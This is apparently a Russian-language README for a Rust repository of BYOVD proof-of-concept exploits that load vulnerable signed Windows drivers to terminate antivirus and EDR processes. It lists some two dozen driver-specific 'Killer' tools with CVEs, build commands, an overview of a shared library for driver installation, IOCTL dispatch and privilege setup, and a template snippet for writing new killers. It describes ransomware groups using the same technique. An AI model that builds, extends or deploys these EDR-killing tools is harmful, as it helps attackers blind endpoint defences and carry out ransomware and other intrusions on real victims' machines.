
Исследовательские сценарии использования BYOVD, включающие обнаружение уязвимых драйверов и методологию реверс-инжиниринга. (CVE-2025-52915, CVE-2025-1055, CVE-2026-3609, CVE-2026-8501).
BYOVD — это набор PoC-эксплойтов, демонстрирующих, как уязвимые драйверы могут быть использованы для отключения AV/EDR-решений.
Коллекция включает как недокументированные драйверы, так и те, которые уже описаны в LOLDDrivers или в рекомендуемых правилах блокировки драйверов от Microsoft.
С момента первоначального обнаружения драйвер TfSysMon был добавлен в LOLDrivers и используется группами программ-вымогателей с помощью инструмента EDRKillShifter, о чём сообщили Sophos и ESET
Техника BYOVD в последнее время набирает популярность в области наступательной безопасности, особенно с выходом таких инструментов, как Terminator от SpyBoy (продавался за $3,000) и проект ZeroMemoryEx Blackout. Эти инструменты используют уязвимые драйверы для отключения AV/EDR-агентов, что облегчает дальнейшие атаки за счёт снижения вероятности обнаружения.
Этот репозиторий содержит несколько PoC-эксплойтов, разработанных в образовательных целях, помогающих исследователям понять, как эти драйверы могут быть использованы для завершения процессов.
Проект организован как Rust Cargo workspace. Большинство PoC-эксплойтов используют общую библиотеку (byovd-lib), которая обрабатывает шаблонный код: жизненный цикл службы драйвера, диспетчеризацию IOCTL, мониторинг процессов, настройку привилегий и очистку. Каждый киллер представляет собой тонкий бинарный файл (~50–100 строк), который определяет только свою конфигурацию, специфичную для драйвера. K7Terminator, Astra64-Killer, Ktapi-Killer и Xhunter1-Killer являются автономными — у них собственные объявления [workspace], и они собираются непосредственно из своих каталогов, а не через корневой workspace.```
BYOVD/
├── Cargo.toml # Workspace root (deps + release profile)
├── Cargo.lock
├── README.md
├── LICENSE
│
├── byovd-lib/ # Shared library
│ ├── Cargo.toml
│ └── src/
│ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor()
│ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete)
│ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes
│ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync)
│ ├── process.rs # find_pid_by_name / find_all_pids_by_name
│ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler
│ ├── privilege.rs # enable_privilege / ensure_running_as_local_system
│ └── util.rs # to_wstring / to_cstring / get_current_dir
│
├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys
├── Astra64-Killer/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, data-only Shadow SSDT hijack EDR killer
├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324)
├── CcProtect-Killer/ # CnCrypt CcProtect
├── EnPortv-Killer/ # EnCase EnPortv
├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155)
├── GoFlyDrv-Killer/ # Golink GoFlyDrv
├── HNOs2Ec-Killer/ # HONOR PCManager HNOs2Ec.sys
├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys
├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes
├── Ksapi64-Killer/ # Kingsoft ksapi64
├── Ktapi-Killer/ # Kontron ktapi.sys -- standalone, two-stage shellcode EDR killer
├── MonProcess-Killer/ # HONOR HnRSMService MonProcess.sys
├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys
├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction)
├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501)
├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction)
├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618)
├── TfSysMon-Killer/ # ThreatFire sysmon
├── UnknownKiller/ # unattributed unknown.sys
├── Viragt64-Killer/ # Tg Soft viragt64
├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271)
├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609)
└── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm
Каждый каталог `*-Killer/` содержит собственный `Cargo.toml`, `src/main.rs` (реализацию `DriverConfig` + CLI), `README.md` (хэши драйверов + использование) и соответствующий файл `.sys`, который бинарник загружает во время выполнения.
## 🔧 Сборка
**Предварительные требования:** инструментарий Rust и Visual Studio Build Tools с Windows SDK.```bash
# Build all tools (release, optimized + stripped)
cargo build --release
# Build a single tool
cargo build --release -p BdApiUtil-Killer
# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer
Binaries выводятся в target/release/. Скопируйте соответствующий файл драйвера .sys в ту же директорию, что и исполняемый файл, перед запуском.
byovd-lib — это общая библиотека, на которой построены все PoC (кроме K7Terminator). Она предоставляет два взаимодополняющих API — высокоуровневый декларативный для стандартного потока «установить драйвер, убить на месте, очистить» и низкоуровневый императивный для киллеров, которым нужен нестандартный поток (подключение к уже загруженному драйверу, разветвление на несколько PID, структурированные буферы IOCTL, собственная логика повторов и т. д.). Оба могут сочетаться в одном бинарнике.
byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir
### Высокоуровневый API: трейт `DriverConfig` + `run()`
Именно это используют встроенные киллеры. Реализуйте трейт, вызовите `byovd_lib::run()` — и готово.```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;
struct MyDriver;
impl DriverConfig for MyDriver {
fn driver_name(&self) -> &str { "MyDriver" }
fn driver_file(&self) -> &str { "mydriver.sys" }
fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
fn ioctl_code(&self) -> u32 { 0xDEAD }
fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
pid.to_ne_bytes().to_vec()
}
}
#[derive(Parser)]
struct Cli {
#[arg(short = 'n', long = "name", required = true)]
process_name: String,
}